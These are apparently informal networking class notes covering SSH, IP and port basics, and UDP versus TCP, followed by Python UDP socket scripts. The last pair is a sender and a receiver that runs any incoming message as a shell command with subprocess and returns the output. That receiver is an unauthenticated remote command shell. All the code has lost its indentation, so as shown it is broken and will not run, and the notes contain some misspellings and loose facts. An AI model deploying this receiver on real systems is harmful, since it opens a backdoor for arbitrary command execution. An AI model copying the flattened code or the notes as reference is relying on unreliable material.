- ssh
- scp
- scan tool
- hacking related
- logs graphs
- one 2 one
- one 2 many - multicast
- one 2 all brodcast
- many 2 many
cell phone
sim/nic
phone /ip&mac
lo card dsenot have any mac address (127.0.0.1)
- ip:port -(0-65535)--socket
ipv4:port
4 byte + 2 byte --> 6 byte
ipv6
16 byte + 2 byte --> 18byte
- IEEE --- IANA -- internet assinging number authority --0-1024 port(reserved)
1. ip & port
2. hotspot , wifi , lan connect
3. protocol --UDP/TCP
- UDP---> user datagram protocol --- whatsapp mesage
- TCP---> Trasmission control protocol --- Whastapp call
#!/usr/bin/python3
import socket
recv_ip="192.168.1.57"
recv_port=4444 # 0 - 1024 -- you can check free udp port netstat -nulp
# creating udp socket
# ip type v4 , uDp
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# fitting ip and port with udp socket
s.bind((recv_ip,recv_port))
# recv data from sender
while 4 > 2 :
data=s.recvfrom(100)
# converting byte-like to string
ndata=data[0].decode('ascii')
print("message from sender ",ndata)
print("sender IP + port --socket ",data[1])
# reply to sender
rply=input("type your rply : ")
s.sendto(rply.encode('ascii'),data[1])
s.close()
#!/usr/bin/python3
import socket
recv_ip="192.168.1.57"
recv_port=4444 # 0 - 1024 -- you can check free udp port netstat -nulp
# creating udp socket
# ip type v4 , uDp
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
while 4 > 3 :
msg=input("plz enter your message : ")
# converting str to bytes-like object
nmsg=msg.encode('ascii')
# sending data to target
s.sendto(nmsg,(recv_ip,recv_port))
# recv data from recv
print(s.recvfrom(10))
#!/usr/bin/python3
import socket
import time
# creating UDP socket with ipv4 & this is sender side
#socket.socket() # by default TCP
# to create UDP socket
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# recv ip and port
r_ip="192.168.10.100"
r_port=9900
while True:
# now sending message to receiver
data=input("plz enter your command :-- > ")
# lets convert into byte like object
newdata=data.encode('ascii')
s.sendto(newdata,(r_ip,r_port))
# here sendto is sending data & ip -port of sender
print("###############")
print("###############")
print(s.recvfrom(100)[0])
print("_________________")
print("_________________")
# this will recv ack from receiver
#!/usr/bin/python3
import socket
import time
import subprocess
# creating UDP socket with ipv4 & this is rec side
#socket.socket() # by default TCP
# to create UDP socket
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
# recv ip and port
r_ip="192.168.10.100"
r_port=9900
# now binding both port and ip
s.bind((r_ip,r_port))
while True:
# to recv data from sender
recv_data=s.recvfrom(100)
# here recvfrom will recv data and ip port of sender
print(recv_data[0]) # this means data
print(recv_data[1]) # address of sender
print("@@@@@@@@@@@@@@@@@")
print("sending output to sender ")
result=subprocess.getstatusoutput(recv_data[0])
# check the success rate
if result[0] == 0 :
s.sendto(result[1].encode('ascii'),recv_data[1]) # sending output to sender
else :
s.sendto("command not found ".encode('ascii'),recv_data[1]) # sending output to sender